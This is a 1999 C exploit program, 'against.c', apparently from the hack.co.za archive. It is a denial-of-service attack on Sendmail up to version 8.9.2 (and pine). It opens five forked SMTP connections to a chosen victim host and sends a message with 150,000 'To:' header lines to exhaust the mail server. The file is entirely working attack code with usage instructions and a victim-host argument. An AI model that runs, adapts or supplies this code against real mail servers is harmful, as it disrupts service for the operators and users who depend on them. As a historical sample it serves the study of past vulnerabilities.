/*
  against.c - Another Sendmail (and pine ;-) DoS (up to 8.9.2)
  (c) 1999 by <marchew@linux.lepszy.od.kobiety.pl>
 
  Usage: ./against existing_user_on_victim_host victim_host
  Example: ./against nobody lamers.net
 
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <errno.h>
#include <signal.h>
#include <getopt.h>
#include <stdlib.h>
#include <string.h>

#define MAXCONN 5
#define LINES   150000

struct hostent *hp;
struct sockaddr_in s;
int suck,loop,x;

int main(int argc,char* argv[])
{

  printf("against.c - another Sendmail DoS (up to 8.9.2)\n");

  if (argc-3)
    {
      printf("Usage: %s victim_user victim_host\n",argv[0]);
      exit(0);
    }

  hp=gethostbyname(argv[2]);

  if (!hp)
    {
      perror("gethostbyname");
      exit(1);
    }

  fprintf(stderr,"Doing mess: ");

  for (;loop<MAXCONN;loop++) if (!(x=fork()))
      {
        FILE* d;
        bcopy(hp->h_addr,(void*)&s.sin_addr,hp->h_length);
        s.sin_family=hp->h_addrtype;
        s.sin_port=htons(25);
        if ((suck=socket(AF_INET,SOCK_STREAM,0))<0) perror("socket");
        if (connect(suck,(struct sockaddr *)&s,sizeof(s))) perror("connect");
        if (!(d=fdopen(suck,"w")))
          {
            perror("fdopen");
            exit(0);
          }

        usleep(100000);

        fprintf(d,"helo tweety\n");
        fprintf(d,"mail from: tweety@polbox.com\n");
        fprintf(d,"rcpt to: %s@%s\n",argv[1],argv[2]);
        fprintf(d,"data\n");

        usleep(100000);

        for(loop=0;loop<LINES;loop++)
          {
            if (!(loop%100)) fprintf(stderr,".");
            fprintf(d,"To: x\n");
          }

        fprintf(d,"\n\n\nsomedata\n\n\n");

        fprintf(d,".\n");

        sleep(1);

        fprintf(d,"quit\n");
        fflush(d);

        sleep(100);
        shutdown(suck,2);
        close(suck);
        exit(0);
      }

  waitpid(x,&loop,0);

  fprintf(stderr,"ok\n");

  return 0;
}
/*                    www.hack.co.za              [2000]*/